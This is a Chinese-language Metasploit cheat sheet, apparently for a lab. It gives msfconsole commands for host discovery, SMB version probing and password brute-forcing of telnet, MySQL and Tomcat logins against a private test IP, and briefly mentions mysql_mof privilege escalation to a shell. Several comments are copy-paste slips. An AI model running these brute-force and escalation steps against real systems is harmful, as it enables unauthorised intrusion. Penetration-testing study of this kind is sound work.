使用arp_sweep模塊來發(fā)現存活的主機

search arp_sweep? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查詢此模塊下的攻擊模塊

use? ?查詢出來的攻擊模塊? ? ? ? ? ? ? ? ? ?//加載攻擊模塊

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

exploit? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//進行攻擊

使用Metasploit的SYN端口掃描器對單個主機進行一次簡單的掃描

use auxiliary/scanner/portscan/syn? ? ?//加載SYN端口掃描器

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

exploit? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//進行攻擊

使用smb_version模塊對目標主機的系統(tǒng)版本進行探測

search smb_version? ? ? ? ? ? ? ? ? ? ? ? ? ? //查詢此模塊下的攻擊模塊

use? ?查詢出來的攻擊模塊? ? ? ? ? ? ? ? ? ?//加載攻擊模塊

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

exploit? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//進行攻擊

使用telnet_login模塊對目標主機的telnet服務進行系統(tǒng)密碼爆破

使用nmap掃描出開放的23端口，即可使用telnet模塊進行爆破

search?telnet_login?? ? ? ? ? ? ? ? ? ? ? ? ? ? //查詢此模塊下的攻擊模塊

use? ?查詢出來的攻擊模塊? ? ? ? ? ? ? ? ? //加載攻擊模塊

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

set PASS_FILE pass? ? ? ? ? ? ? ? ? ? ? ? ??//使用set命令將PASS_FILE設置為使用文件名字為pass的密碼本進行爆破

set USERNAME root? ? ? ? ? ? ? ? ? ? ? ? ??//使用set命令將USERNAME設置用戶名為root

使用mysql_login模塊對目標主機的MySQL數據庫進行爆破

search mysql_login? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查詢此模塊下的攻擊模塊

use? ?查詢出來的攻擊模塊? ? ? ? ? ? ? ? ? ?//加載攻擊模塊

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

set PASS_FILE pass? ? ? ? ? ? ? ? ? ? ? ? ??//使用set命令將PASS_FILE設置為使用文件名字為pass的密碼本進行爆破

set USERNAME root? ? ? ? ? ? ? ? ? ? ? ? ??//使用set命令將USERNAME設置用戶名為root

查出密碼后然后用mysql_enum查看數據庫信息

mysql_mof模塊進行提權 ，獲得shell，低于mysql5.6版本

使用tomcat_mgr_login模塊對目標主機的8180端口，也就是tomcat中間件進行登陸爆破

search tomcat_mgr_login? ? ? ? ? ? ? ? ? ? //查詢此模塊下的攻擊模塊

use? ?查詢出來的攻擊模塊? ? ? ? ? ? ? ? ? ?//加載攻擊模塊

show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?//查看一下該模塊需要配置的選項參數

set RHOSTS 192.168.20.20? ? ? ? ? ? ? ?//使用set命令將RHOSTS設置為目標電腦的IP

set USERNAME tomcat? ? ? ? ? ? ? ? ? ? ? //使用set命令將USERNAME設置用戶名為root? ? ? ? ? ?USER_FILE

set PASSWORD tomcat? ? ? ? ? ? ? ? ? ? ? //使用set命令將PASSWORD設置用戶名為root? ? ? ? ? ?PASS_FILE